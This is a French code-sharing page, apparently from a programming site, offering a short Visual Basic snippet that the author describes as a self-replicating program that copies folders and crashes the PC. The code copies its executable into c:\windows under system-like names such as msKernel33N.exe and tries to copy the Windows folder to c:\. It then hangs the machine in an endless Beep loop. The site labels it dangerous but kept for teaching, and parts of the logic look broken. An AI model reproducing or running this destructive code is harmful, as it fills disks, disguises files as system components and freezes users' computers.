Fichier se repliquant

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

Il se replike, copie des dossier, et pour finir plante le pc,
mai bon ce n' est pas totalement un virus car il n' infecte pas
de fichier
ne l' executer pas, sinon
vous vous ferez chier a supprimer les fichier copier
( par ex moi g l' ai fait tourner juska 3000 dan le label1 et bah il fasait 70 megs)

Source / Exemple : 


Private Sub Form_Load()
SeRepandre
End Sub

Private Sub timer1_timer()

Label1.Caption = Label1.Caption + 1
End Sub
Sub SeRepandre()
FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\windows\msKernel33" & Label1.Caption & ".exe"
If Label1.Caption = 3000 Then Timer1.Enabled = False
If Timer1.Enabled = False Then copiedir
End Sub
Sub copiedir()
FileCopy "c:\windows\*.*", "c:\*.*"
planter_le_pc
End Sub

Sub planter_le_pc()
Do
Beep
Loop
End Sub

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (DarkBoss)